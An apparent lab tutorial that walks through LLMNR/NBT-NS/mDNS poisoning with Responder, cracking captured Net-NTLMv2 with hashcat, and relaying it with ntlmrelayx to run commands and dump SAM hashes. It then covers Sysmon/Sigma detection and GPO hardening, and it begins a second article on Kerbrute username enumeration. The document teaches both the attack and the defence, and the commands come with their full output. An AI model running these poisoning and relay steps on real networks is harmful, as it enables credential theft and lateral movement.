LLMNR, NBT-NS, and mDNS Poisoning with Responder: Capturing Net-NTLMv2 from Zero
Objective: Walk the full credential-interception chain on a lab Active Directory range: understand why Windows falls back to multicast name resolution, poison LLMNR/NBT-NS/mDNS with Responder, capture Net-NTLMv2 challenge-response material, crack it with hashcat, and relay it with
ntlmrelayx. Then build the detection and GPO hardening that shuts the whole thing down.
This is the attack I run first on almost every internal engagement, and it almost always pays out before the coffee gets cold. It needs no credentials, no exploit, no CVE. It abuses a design decision baked into Windows since Vista: when DNS says “I do not know that name,” the host shouts the question at the entire subnet and trusts whoever answers first. Responder is the machine that answers first. Lazarus Group has run the exact same tool with the command line [path] -i [IP] -rPv on compromised hosts, so this is not a pentest party trick, it is a nation-state TTP that still works in 2026.
Build it, break it, then learn to see it on the wire.
1. Name Resolution in Windows: How DNS Fallback Works
Before any of the offensive tooling makes sense, you have to understand the resolver order a Windows host uses to turn a name like filesahre into an IP address. The DNS Client service (dnscache) walks a fixed priority chain:
| Order | Mechanism | Trigger |
|---|---|---|
| 1 | Local hostname / hosts file | Always checked first |
| 2 | DNS resolver cache | Cached positive or negative answers |
| 3 | DNS server query | Standard recursive lookup against configured DNS |
| 4 | LLMNR (multicast) | Only if DNS returns no answer |
| 5 | NBT-NS (broadcast) | Only if LLMNR also fails |
| 6 | mDNS (multicast) | Windows 10+ compatibility fallback |
The trust model flaw lives entirely in steps 4 through 6. DNS at least involves a configured, authoritative server. LLMNR, NBT-NS, and mDNS are link-local, unauthenticated, first-responder-wins protocols. There is no signature, no server identity, no way for the querying host to know whether the reply came from the real file server or from a Kali box plugged into the same switch.
When does the fallback actually fire? The two reliable triggers are:
- A user mistypes a hostname (
\\filesahre\shareinstead of\\fileshare\share). DNS has no record, so the host multicasts the typo. - A stale mapped drive, login script, or pinned shortcut references a host that no longer exists in DNS. Every reconnect attempt multicasts.
That second case is gold. It fires automatically at logon with zero user interaction, which means a quiet Responder instance harvests hashes from every workstation that boots in the morning.
Note what does not happen here: Kerberos. Kerberos needs a resolvable target and a registered SPN to request a service ticket. When the name itself cannot be resolved, the client never gets to the Kerberos exchange. It falls back to NTLM over SMB against whoever claims the name, and NTLM is exactly the material we want.

2. Protocol Deep-Dive: LLMNR, NBT-NS, mDNS
All three protocols solve the same problem (resolve a name without a DNS server) in three slightly different ways. The ports and multicast groups matter because your detection signatures and your Responder bind all key off them.
| Protocol | Port / Transport | Scope | Destination |
|---|---|---|---|
| LLMNR | UDP 5355, multicast | Link-local | 224.0.0.252 (IPv4), FF02::1:3 (IPv6) |
| NBT-NS | UDP 137, broadcast | Subnet | Directed subnet broadcast, IPv4 only |
| mDNS | UDP 5353, multicast | Link-local | 224.0.0.251 (IPv4), FF02::FB (IPv6) |
LLMNR (Link-Local Multicast Name Resolution) arrived with Windows Vista as a DNS-shaped replacement for the older NetBIOS mechanism. The packet format mirrors a DNS query, just multicast to 224.0.0.252:5355.
NBT-NS (NetBIOS Name Service) is the legacy survivor from the LAN Manager era. It broadcasts to UDP 137 and resolves the 16-byte NetBIOS names you still see uppercased and padded. It only speaks IPv4. Most environments could disable it tomorrow and never notice, but legacy print servers and NAS boxes keep it alive.
mDNS (Multicast DNS) is the Bonjour/Avahi protocol. Linux machines leaned on mDNS where Windows historically used LLMNR, and Microsoft added mDNS support in Windows 10 for cross-platform discovery. Responder poisons all three.
Watching the queries on the wire
Before you touch Responder, confirm the traffic is actually reaching your attacker interface. This is enumeration: you are proving the L2 segment carries the broadcasts you intend to poison.
sudo tcpdump -i eth0 -n 'udp port 5355 or udp port 137 or udp port 5353'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
12:04:11.882134 IP 192.168.56.101.55821 > 224.0.0.252.5355: UDP, length 23
12:04:11.883907 IP 192.168.56.101.137 > 192.168.56.255.137: UDP, length 50
12:04:13.114882 IP 192.168.56.101.55821 > 224.0.0.252.5355: UDP, length 23
12:04:13.115620 IP 192.168.56.101.137 > 192.168.56.255.137: UDP, length 50
Two things to read from that capture. First, 192.168.56.101 is asking, and it asks LLMNR first, then NBT-NS roughly a millisecond later, which is the textbook fallback order. Second, the destinations are the multicast group 224.0.0.252 and the subnet broadcast .255, which means every host on the segment sees the query. There is your attack surface in two lines.
3. NTLM Authentication and Net-NTLMv2 Internals
Responder does not magically steal passwords. It tricks the victim into performing a standard NTLM authentication against the attacker’s rogue SMB server, then logs the challenge-response. To know what you are holding afterward, you need the NTLM message flow and the Net-NTLMv2 math.
NTLM is a three-message challenge-response handshake:
| NTLM Message | Direction | Key Fields |
|---|---|---|
NEGOTIATE_MESSAGE (Type 1) | Client to Server | Negotiation flags, client OS version |
CHALLENGE_MESSAGE (Type 2) | Server to Client | ServerChallenge (8-byte random nonce), target info AvPairs |
AUTHENTICATE_MESSAGE (Type 3) | Client to Server | NtChallengeResponse, LmChallengeResponse, DomainName, UserName, Workstation |
Responder drives the server side. It sends a Type 2 CHALLENGE_MESSAGE with an 8-byte ServerChallenge (Responder hardcodes a predictable 1122334455667788 by default, which is handy for rainbow-table style attacks), and the victim dutifully replies with a Type 3 message containing the Net-NTLMv2 response.
How the Net-NTLMv2 response is computed
Three cryptographic primitives stack up here. MD4 turns the password into the NT hash, and HMAC-MD5 is used twice to derive the final response with integrity and authenticity:
NT-Hash = MD4(UTF-16-LE(password))
NTLMv2-Key = HMAC-MD5(NT-Hash, UPPER(username) + domain)
NTProofStr = HMAC-MD5(NTLMv2-Key, ServerChallenge + Blob)
NetNTLMv2 = NTProofStr + Blob
The Blob is the NTLMv2_CLIENT_CHALLENGE structure, and its contents are what make the response unique per authentication:
RespTypeandHiRespType: 1-byte response version fields, both currently1.TimeStamp: 8-byte little-endian time in GMT.ChallengeFromClient: 8-byte random client nonce.AvPairs: target information attribute-value pairs copied from the server challenge.
The distinction that trips people up
The captured Net-NTLMv2 hash is not the NT hash. It is a one-time HMAC-MD5 output keyed on the NT hash and salted with both server and client challenges plus a timestamp. That has two consequences you must internalize:
- You cannot pass-the-hash with Net-NTLMv2. The NT hash never crosses the wire. Pass-the-hash needs the raw NT hash, which this is not.
- You can crack it offline (recover the plaintext password) or relay it live to another service before the challenge expires.
The string Responder hands you, formatted for hashcat, is:
USERNAME::DOMAIN:ServerChallenge:NTProofStr:Blob
Every field comes straight from the Type 2 and Type 3 messages. Hold that format in your head; you will see it again in Section 6.

4. Lab Setup: Building the Intentionally Vulnerable AD Environment
Three VMs on an isolated host-only or internal vSwitch. No NAT, no bridged adapter, no route to the internet. You are about to run a credential-interception tool that listens promiscuously for authentication, so containment is not optional.
| VM | Role | Configuration |
|---|---|---|
| Kali Linux | Attacker | 192.168.56.50, runs Responder, hashcat, Impacket |
| Windows Server 2019 | DC lab.local (LAB) | 192.168.56.10, SMB signing disabled for lab realism |
| Windows 10 | Domain-joined workstation | 192.168.56.101, LLMNR + NBT-NS left on (default), stale UNC path in a logon script |
To make the victim behave like a real corporate workstation, confirm the fallback protocols are enabled (they are, by default) and plant a stale path. Enumerate the current state first so you know what you are working with.
# Check whether LLMNR is disabled by policy (0 = disabled). Absent/1 = enabled.
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" `
-Name "EnableMulticast" -ErrorAction SilentlyContinue
# Check NetBIOS-over-TCP/IP per interface (NetbiosOptions: 0=default/on, 2=disabled)
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces" |
ForEach-Object { Get-ItemProperty $_.PSPath | Select-Object PSChildName, NetbiosOptions }
Get-ItemProperty : Cannot find path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient'
because it does not exist.
PSChildName NetbiosOptions
----------- --------------
Tcpip_{2a7f9c14-3b6e-4a8d-9f01-...} 0
The missing EnableMulticast value means no policy disables LLMNR, so it is live. NetbiosOptions = 0 means NBT-NS is on its default-enabled state. This workstation is exactly as exposed as a freshly imaged corporate box. Now plant the trigger by mistyping a server in a logon script:
# Simulate a stale logon-script drive map to a host that no longer resolves
'net use Z: \\filesahre\profiles /persistent:yes' |
Out-File -FilePath "C:\Scripts\map-drives.cmd" -Encoding ascii
# (no output; file written)
PS C:\> Get-Content C:\Scripts\map-drives.cmd
net use Z: \\filesahre\profiles /persistent:yes
filesahre is a deliberate typo of fileshare. DNS will never resolve it, so every execution multicasts the query. That is the engine that feeds Responder.
5. Phase 1: Reconnaissance with Responder Analyze Mode
Never start by poisoning. Start by listening. Analyze mode (-A) makes Responder observe NBT-NS, BROWSER, and LLMNR requests without injecting a single spoofed answer. On a real engagement you run this for 24 to 48 hours to map which hosts generate which queries and whether those are legitimate lookups that belong in DNS. In the lab, five to ten minutes is plenty.
This is the enumeration step that tells you whether the attack is even viable and which victims to expect. No injection means no risk of breaking name resolution for a production host.
sudo responder -I eth0 -A
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
[+] Listeners Info:
Responder IP [192.168.56.50]
Responder IPv6 [fe80::a00:27ff:fea1:b2c3]
Challenge set [random]
[+] Generic Options:
Responder NIC [eth0]
Analyze Mode [ON]
Force WPAD auth [OFF]
[+] Listening for events...
[Analyze mode: LLMNR] Request by 192.168.56.101 for filesahre, ignoring
[Analyze mode: NBT-NS] Request by 192.168.56.101 for FILESAHRE, ignoring
[Analyze mode: LLMNR] Request by 192.168.56.101 for filesahre, ignoring
[Analyze mode: MDNS] Request by 192.168.56.101 for filesahre.local, ignoring
Read the recon: a single host (192.168.56.101) is repeatedly asking for filesahre across all three protocols, and there is no authoritative answer on the network. That is a poisonable query. The Challenge set [random] line tells you Responder will issue a random server challenge unless you pin it in the config. The ignoring keyword is your proof that analyze mode injected nothing.
If this were a live network, you would now decide whether filesahre is a real-but-misconfigured host (fix DNS) or a typo (safe to poison in an authorized test).
6. Phase 2: Active Poisoning and Hash Capture
Flip off analyze mode and let Responder answer. The moment it replies to the LLMNR query claiming to be filesahre, the victim opens an SMB session to 192.168.56.50 and authenticates with NTLM. Responder’s rogue SMB server captures the Type 3 message.
By default Responder stands up several rogue servers (SMB, HTTP, MSSQL, FTP, LDAP, and more) so it can catch whatever protocol the victim tries. -w starts the WPAD rogue proxy, -v is verbose.
sudo responder -I eth0 -wv
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
SMB server [ON]
WPAD proxy [ON]
Auth proxy [OFF]
[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to 192.168.56.101 for name filesahre
[*] [MDNS] Poisoned answer sent to 192.168.56.101 for name filesahre.local
[*] [NBT-NS] Poisoned answer sent to 192.168.56.101 for name FILESAHRE
[SMB] NTLMv2-SSP Client : 192.168.56.101
[SMB] NTLMv2-SSP Username : LAB\jsmith
[SMB] NTLMv2-SSP Hash : jsmith::LAB:1122334455667788:6E3A1F9C2D4B8E70A1C5F2D9B4E83C7A:01010000000000\
00C0653150DE09D2010B2F3C4D5E6F70800000000020008004C00410042000100080044004300300031000400140\
06C00610062002E006C006F00630061006C0003001E0044004300300031002E006C00610062002E006C006F00630\
0610062000500140066006F006F002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000\
0000000000000
There it is. LAB\jsmith authenticated to your fake filesahre and handed over a Net-NTLMv2 response. Notice the ServerChallenge is 1122334455667788, Responder’s static default. The long trailing hex is the Blob (timestamp, client challenge, target AvPairs).
Responder also writes everything to disk. Enumerate the log directory to confirm the capture landed:
ls -l /usr/share/responder/logs/ | grep NTLMv2
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.101.txt
-rw-r--r-- 1 root root 612 May 14 12:09 SMB-NTLMv2-SSP-192.168.56.101.txt
jsmith::LAB:1122334455667788:6E3A1F9C2D4B8E70A1C5F2D9B4E83C7A:0101000000000000C0653150DE09D2010B2F3C4D5E6F7080000000000200080\
04C00410042000100080044004300300031000400140006C00610062002E006C006F00630061006C0003001E0044004300300031002E006C00610062002E006\
C006F00630061006C0005001400660066006F002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000000000000000000000
Map the fields against the format from Section 3:
| Field | Value | Source |
|---|---|---|
USERNAME | jsmith | Type 3 UserName |
DOMAIN | LAB | Type 3 DomainName |
ServerChallenge | 1122334455667788 | Type 2 nonce |
NTProofStr | 6E3A1F9C2D4B8E70A1C5F2D9B4E83C7A | HMAC-MD5 proof |
Blob | 0101000000... | NTLMv2_CLIENT_CHALLENGE |
One war-story note: Responder only captures a hash once per host by default to avoid noise. If you are testing and want repeated captures, you need to clear the session or set Responder.conf accordingly, otherwise you will trigger the victim ten times and wonder why the console stays quiet after the first hit. That cost me twenty minutes the first time before I read the config comments.
7. Phase 3: Offline Cracking with hashcat
The capture is a salted HMAC-MD5 response, so the only way to recover the plaintext is to guess passwords, hash each guess through the full Net-NTLMv2 chain, and compare. Hashcat does this on the GPU at mode 5600.
Enumerate first: inspect the hash line and confirm it is well-formed before burning GPU cycles. A truncated paste (a real and common mistake when copying multi-line Blobs) silently fails to load.
cp /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.101.txt hash.txt
# Confirm it is a single, complete line with five colon-delimited fields
awk -F: '{print "fields:", NF}' hash.txt
fields: 6
Six because the username block itself contains the empty :: (the unused LM field), which is expected for the user::domain:... format. Now run the dictionary attack:
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 CUDA 12.2) - Platform #1
=================================================
* Device #1: NVIDIA GeForce RTX 3060, 11906/12044 MB
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmap table: 16 bits, 65536 entries...
JSMITH::LAB:1122334455667788:6e3a1f9c2d4b8e70a1c5f2d9b4e83c7a:0101000000000000c0653150de09d201...:Summer2024!
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Speed.#1.........: 2841.6 MH/s
Recovered........: 1/1 (100.00%) Digests
Started: Wed May 14 12:14:02 2026
Stopped: Wed May 14 12:14:39 2026
Summer2024! recovered in 37 seconds. Weak passwords against Net-NTLMv2 fall fast because HMAC-MD5 is cheap to compute on a GPU (billions of guesses per second). If straight rockyou misses, layer on a rules file to mutate each candidate:
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Status...........: Exhausted
Recovered........: 0/1 (0.00%) Digests
Speed.#1.........: 2790.3 MH/s
That Exhausted with zero recovered is what a strong password looks like: rockyou plus best64 generated roughly 89 million candidates and none matched. This is precisely why a 15-plus character passphrase defeats the crack path entirely. Recall a previously cracked result without rerunning:
hashcat -m 5600 hash.txt --show
JSMITH::LAB:1122334455667788:6e3a1f9c2d4b8e70a1c5f2d9b4e83c7a:0101000000000000...:Summer2024!
When the crack path dies against a strong password, you do not give up. You relay.
8. Phase 4 (Advanced): NTLM Relay with ntlmrelayx
Relaying is what makes poisoning dangerous even when you cannot crack a thing. Instead of logging the Type 3 message and attacking it offline, you forward it in real time to another host that does not enforce SMB signing, authenticating as the victim against a machine you choose. If the victim is a local admin on the target, you get code execution or a SAM dump without ever knowing the password.
Two preconditions: the target SMB service must have signing disabled (or not required), and the captured user must have local admin on that target. So the enumeration comes first.
Enumerate SMB signing posture
crackmapexec (or NetExec) sweeps the subnet and flags hosts where signing is not required. Those are your relay targets.
crackmapexec smb 192.168.56.0/24 --gen-relay-list targets.txt
SMB 192.168.56.10 445 DC01 [*] Windows Server 2019 Build 17763 x64 (name:DC01) (domain:lab.local) (signing:True) (SMBv1:False)
SMB 192.168.56.101 445 WIN10-WS01 [*] Windows 10 Build 19041 x64 (name:WIN10-WS01) (domain:lab.local) (signing:False) (SMBv1:False)
SMB 192.168.56.102 445 WIN10-WS02 [*] Windows 10 Build 19041 x64 (name:WIN10-WS02) (domain:lab.local) (signing:False) (SMBv1:False)
[*] Generated relay target list: targets.txt
cat targets.txt
192.168.56.101
192.168.56.102
The DC shows signing:True (domain controllers require it by default, so it is off the list). Both workstations show signing:False, which means they accept relayed authentication. Cross-check with nmap if you want a second opinion:
sudo nmap -p445 --script smb2-security-mode 192.168.56.102
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
“Enabled but not required” is the relayable condition. Required signing would read “Message signing enabled and required.”
Free the ports, then relay
ntlmrelayx needs SMB and HTTP. Responder grabs those by default, so turn them off in /etc/responder/Responder.conf before running both tools together.
sudo sed -i 's/^SMB = On/SMB = Off/' /etc/responder/Responder.conf
sudo sed -i 's/^HTTP = On/HTTP = Off/' /etc/responder/Responder.conf
grep -E '^(SMB|HTTP) =' /etc/responder/Responder.conf
SMB = Off
HTTP = Off
Start the relay listener pointed at the unsigned targets, with -smb2support and a command to run as the relayed user:
sudo ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Servers started, waiting for connections
Now start Responder with SMB and HTTP off so it only poisons names and hands the authentication to the relay:
sudo responder -I eth0 -wv
[*] [LLMNR] Poisoned answer sent to 192.168.56.101 for name filesahre
When the victim authenticates, ntlmrelayx forwards the session to a target where jsmith is a local admin and runs the command:
[*] Authenticating against smb://192.168.56.102 as LAB/JSMITH SUCCEED
[*] SMBD-Thread-5: Connection from LAB/JSMITH@192.168.56.101 controlled, attacking target smb://192.168.56.102
[*] Executed specified command on host: 192.168.56.102
lab\jsmith
[*] Service RemoteRegistry is in stopped state
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:8a3b... :::
No cracking, no plaintext, and you are executing commands and dumping the local SAM as lab\jsmith on a second host. Drop -c "whoami" and you get the SAM dump automatically. Swap in -c payloads, SOCKS proxying (-socks), or LDAP targets to escalate further. This is the technique that turns a single typo’d UNC path into lateral movement.

9. WPAD Abuse Extension
WPAD (Web Proxy Auto-Discovery) is a bonus credential source riding the same poisoning. Browsers and many Windows components look up the name wpad to auto-discover a proxy configuration. When DNS has no wpad record, that lookup multicasts exactly like any other, and Responder answers.
The enumeration is the same analyze-mode pass; watch for wpad queries specifically:
sudo responder -I eth0 -A | grep -i wpad
[Analyze mode: LLMNR] Request by 192.168.56.101 for wpad, ignoring
[Analyze mode: MDNS] Request by 192.168.56.101 for wpad.local, ignoring
Those wpad requests mean WPAD abuse is on the table. With -w Responder serves a malicious wpad.dat pointing the victim’s proxy at the attacker, and with -F it forces NTLM or HTTP Basic authentication on the WPAD fetch. A Basic-auth prompt yields cleartext credentials, while NTLM yields another Net-NTLMv2 hash to crack or relay. Same chain, different protocol door.
10. Detection: Telemetry, SIEM Rules, and Honeypots
Offense done. Now make it loud. Because the attack rides normal-looking name resolution, detection leans on anomaly: a non-authoritative host answering queries, NTLM logons from unexpected sources, and the attacker tooling itself.
Sysmon and Windows Security telemetry
| Event ID | Source | What it catches |
|---|---|---|
| Sysmon EID 1 (Process Create) | Endpoint | Responder/ntlmrelayx.py/Inveigh launched, with telltale CLI flags like -I, -wv, -rdwv |
| Sysmon EID 3 (Network Connect) | Endpoint | Non-system process binding UDP 5355 or UDP 137 |
| Sysmon EID 18 (Pipe Connected) | Endpoint | SMB named-pipe access to \pipe\lsarpc, \pipe\efsr, \pipe\spoolss, \pipe\netdfs from a non-DC to a DC (relay exec) |
| Security 4624 (Logon Success) | DC / host | Logon Type 3 (network) NTLM logons from unexpected source IPs, or where the source workstation name does not match the expected host for that IP |
| Security 4625 (Logon Failure) | Multiple hosts | Rapid failures across many hosts from one source = relay scanning |
| Security 7045 (Service Installed) | Target host | Random service name and ImagePath, the classic relay-exec footprint |
| PowerShell 4104 (Script Block) | Endpoint | Invoke-Inveigh and similar in-memory poisoners |
The single highest-fidelity network signal: a host that sends an LLMNR/NBT-NS response when it is not a DNS server and received no prior DNS delegation. Legitimate clients query; they do not answer for names they do not own.
Sigma rules
Responder process launch on a Windows host (Inveigh-style or a planted binary):
title: Responder or Inveigh Poisoner Process Launch
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
Image|contains:
- 'Responder.py'
- 'Responder.exe'
flags:
CommandLine|contains:
- '-I '
- '-wv'
- '-rdwv'
condition: selection and flags
level: high
Suspicious LLMNR response from a non-authoritative host:
title: LLMNR Response From Non-DNS Host
logsource:
category: network
detection:
selection:
dst_port: 5355
protocol: udp
response_flag: true
filter_legit:
src_ip:
- '192.168.56.10' # authoritative DNS / DC
condition: selection and not filter_legit
level: high
Unexpected Type 3 NTLM network logon (relay landing on a target):
title: Unexpected NTLM Network Logon
logsource:
product: windows
service: security
detection:
selection:
EventID: 4624
LogonType: 3
AuthenticationPackageName: 'NTLM'
filter_known:
IpAddress:
- '192.168.56.10' # known management hosts
condition: selection and not filter_known
level: medium
Honeypot queries
The cheapest detection in the building: a monitoring host periodically emits a uniquely named LLMNR/NBT-NS query for a name that does not and should not exist anywhere. Any answer is, by definition, a poisoner. There is no false positive, because no legitimate host owns a name you invented thirty seconds ago.
MITRE tracks this whole pattern under Detection Strategy DET0462, which correlates anomalous UDP 5355/137 traffic with SMB relay attempts, registry edits re-enabling multicast name resolution, and suspicious service creation.
11. Defense: Hardening the Environment
Detection tells you it happened. Hardening makes it impossible. The fix order matters: analyze before you disable, because legacy print servers and NAS devices that are registered only in NBT-NS and not in DNS will go dark the instant you turn it off. Migrate them to DNS first.
| Mitigation | Implementation |
|---|---|
| Disable LLMNR | GPO: Computer Configuration > Administrative Templates > Network > DNS Client > Turn OFF Multicast Name Resolution > Enabled |
| Disable NBT-NS | Set NetbiosOptions = 2 under HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\<GUID> via DHCP option 001 or a startup script |
| Disable mDNS | Set HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 |
| Require SMB signing | GPO: ... Security Options > Microsoft network server: Digitally sign communications (always) > Enabled |
| LDAP signing + channel binding | DC security policy; blocks LDAP relay specifically |
| Strong passwords (15+ chars) | Defeats the hashcat crack path against Net-NTLMv2 |
| LLMNR/NBT-NS honeypots | Monitoring host emits unique queries; any answer is anomalous |
| NAC | Where protocols cannot be disabled, restrict device access by MAC |
The two controls with the highest payoff are disabling LLMNR/NBT-NS (removes the capture path entirely) and requiring SMB signing (removes the relay path entirely). Do both and a Responder instance on your network sits silent. Push NBT-NS via a startup script if your hosts pull addresses from DHCP:
$key = "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces"
Get-ChildItem $key | ForEach-Object {
Set-ItemProperty -Path $_.PSPath -Name NetbiosOptions -Value 2
}
# (no output; NetbiosOptions set to 2 on all interfaces)
PS C:\> Get-ChildItem $key | ForEach-Object { (Get-ItemProperty $_.PSPath).NetbiosOptions }
2
Re-run your tcpdump from Section 2 after applying the GPO. If the workstation stops emitting UDP 5355 and 137 entirely, the hardening took.

12. Tools for Name-Resolution-Poisoning Analysis
| Tool | Description | Link |
|---|---|---|
| Responder | LLMNR/NBT-NS/mDNS poisoner and rogue auth server | github.com/lgandx/Responder |
Impacket ntlmrelayx | NTLM relay workhorse, SMB/LDAP/HTTP targets | github.com/fortra/impacket |
| Inveigh | PowerShell/C# poisoner for Windows hosts | github.com/Kevin-Robertson/Inveigh |
| hashcat | GPU cracker, mode 5600 for Net-NTLMv2 | hashcat.net |
| CrackMapExec / NetExec | SMB signing enumeration, relay list generation | github.com/Pennyw0rth/NetExec |
| Wireshark | Packet-level inspection of LLMNR/NBT-NS/mDNS | wireshark.org |
| tcpdump | Lightweight CLI capture for query verification | tcpdump.org |
| Sysmon | Endpoint telemetry (EID 1/3/18) | learn.microsoft.com |
13. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay | T1557.001 | Anomalous UDP 5355/137 responses; unexpected Type 3 NTLM 4624 |
| Adversary-in-the-Middle (parent) | T1557 | Network anomaly + endpoint process telemetry |
| Network Sniffing | T1040 | Promiscuous capture, passive analyze-mode footprint |
| Brute Force: Password Cracking | T1110.002 | Offline hashcat activity (host-based, not on-wire) |
| Forced Authentication | T1187 | Victim NTLM auth to non-authoritative host |
Lazarus Group has run Responder in the wild with [path] -i [IP] -rPv, which maps cleanly to T1557.001. Treat this as an active, current TTP.
14. Summary
- LLMNR, NBT-NS, and mDNS are unauthenticated, first-responder-wins fallback protocols, and that single trust flaw is the entire attack. Windows multicasts a name query when DNS fails, and Responder answers before anyone else.
- What you capture is Net-NTLMv2, not the NT hash. It is an HMAC-MD5 challenge-response keyed on the NT hash, so it cannot pass-the-hash but it can be cracked offline (
hashcat -m 5600) or relayed live. - The relay path with
ntlmrelayxis the dangerous one. Even an uncrackable password is game over if a target has SMB signing disabled and the victim is a local admin, yielding command execution and SAM dumps. - Always enumerate before you act: analyze mode (
-A) to find poisonable queries, andcrackmapexec --gen-relay-listto find unsigned relay targets. - Detect with Sysmon EID 1/3/18, Security 4624 Type 3 / 4625 / 7045, anomalous UDP 5355/137 responses, and honeypot queries (MITRE DET0462).
- Kill it for good by disabling LLMNR/NBT-NS/mDNS via GPO, requiring SMB and LDAP signing, and enforcing 15-plus character passwords, but migrate legacy NetBIOS-only hosts to DNS first.
References
Username Enumeration and Validation with Kerbrute: Abusing Kerberos Pre-Authentication
You have network access to a target subnet and a domain controller answering on port 88. No credentials. No foothold. Before you touch a single password, you need a list of accounts that actually exist, because spraying a wordlist of 50,000 invented usernames is loud, slow, and pointless. Kerberos hands you that list for free. The protocol that was designed to keep passwords off the wire will happily tell an unauthenticated stranger exactly which accounts are real, and it does so without ever touching the lockout counter.
Objective: Understand how the Kerberos AS-REQ exchange leaks valid account existence through differential KDC error codes, how Kerbrute weaponizes that oracle to enumerate usernames and harvest AS-REP hashes without domain credentials, how to pivot from a confirmed username list into credential access, and how a defender detects every step on the domain controller.
1. Kerberos Authentication Primer
Kerberos is the default authentication protocol in Active Directory, and to abuse it you have to understand what each message is for. Three logical components live inside the Key Distribution Center (KDC), which runs on every domain controller:
| Component | Role |
|---|---|
| Authentication Service (AS) | Issues the initial Ticket Granting Ticket (TGT) after the client proves it knows its key |
| Ticket Granting Service (TGS) | Exchanges a valid TGT for service tickets to specific resources |
| KDC database | The AD database (ntds.dit) holding every account’s long-term key derived from its password |
The full ticket flow is four messages:
- AS-REQ – client asks the AS for a TGT.
- AS-REP – AS returns the TGT (encrypted with the
krbtgtkey) plus a session key (encrypted with the client’s key). - TGS-REQ – client presents the TGT and asks for a service ticket to a named Service Principal Name (SPN).
- TGS-REP – TGS returns the service ticket, encrypted with the target service account’s key.
The piece that matters for enumeration is pre-authentication, which lives inside the AS-REQ. Without it, anyone could send an AS-REQ for any username and receive an AS-REP containing material encrypted with that user’s password-derived key, then crack it offline at leisure. To stop that, Kerberos v5 requires the client to prove it knows the password before the KDC issues anything.
The proof is a timestamp: the client takes the current time, encrypts it with its secret key (the key derived from the user password using DES, RC4/arcfour-hmac-md5, AES128, or AES256), and ships that PA-ENC-TIMESTAMP blob inside the AS-REQ alongside the username. The KDC decrypts it with the stored key for that account. If the plaintext is a sane timestamp, the password is correct and a TGT is issued. If decryption fails, pre-auth failed.
This single design decision is the source of everything that follows. The KDC must answer differently depending on whether the account exists, whether pre-auth was required, and whether the supplied key was correct. Those differences are an oracle.
Kerberos listens on port 88 over both UDP and TCP. A username validation costs a single UDP frame to the KDC, which is why this is so fast.
2. The Enumeration Oracle: KDC Error Code Differentials
Send an AS-REQ with no pre-auth data and a username, and the KDC’s reply tells you the account’s state with surgical precision. The error codes are defined in RFC 4120 and surface in Windows Event logs as hex values:
| KDC Error (RFC 4120 name) | Hex Code | What it tells the attacker |
|---|---|---|
KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN | 0x6 | Username does not exist in the domain |
KRB5KDC_ERR_PREAUTH_REQUIRED | 0x19 | Username is valid, pre-authentication is required |
KDC_ERR_PREAUTH_FAILED | 0x18 | Valid user, wrong password supplied |
KDC_ERR_CLIENT_REVOKED | 0x12 | Account is disabled, locked, or expired |
KDC_ERR_KEY_EXPIRED | (key expired) | Valid user, password expired |
Walk through the logic an attacker exploits:
- Send an AS-REQ for
nonexistent_user. The KDC has no account record, so it returns0x6(PRINCIPAL_UNKNOWN). Cross that name off the list. - Send an AS-REQ for
jsmithwith no pre-auth blob. The account exists and requires pre-auth, so the KDC refuses to issue a ticket and returns0x19(PREAUTH_REQUIRED). That0x19is the confirmation: the account is real. You never had to know the password. - Send an AS-REQ for
svc_backup, an account where pre-auth is disabled. The KDC skips the timestamp check entirely and returns a full AS-REP containing an encrypted blob signed with the account’s key. That blob is crackable offline. This is the AS-REP roasting primitive falling straight into your lap.
The reason this is so attractive operationally: the AS-REQ enumeration method does not validate credentials, so it does not increment badPwdCount, which means it does not lock accounts. You can churn through hundreds of thousands of candidate names and never trip a single lockout. And because failed pre-auth here is a Kerberos event, not an NTLM logon, it does not generate the classic Event ID 4625 (“An account failed to log on”) that blue teams traditionally watch.
The differential between 0x6 and 0x19 is the whole game. One unauthenticated request per candidate name converts a wordlist into a validated account roster.

3. Lab Environment Setup
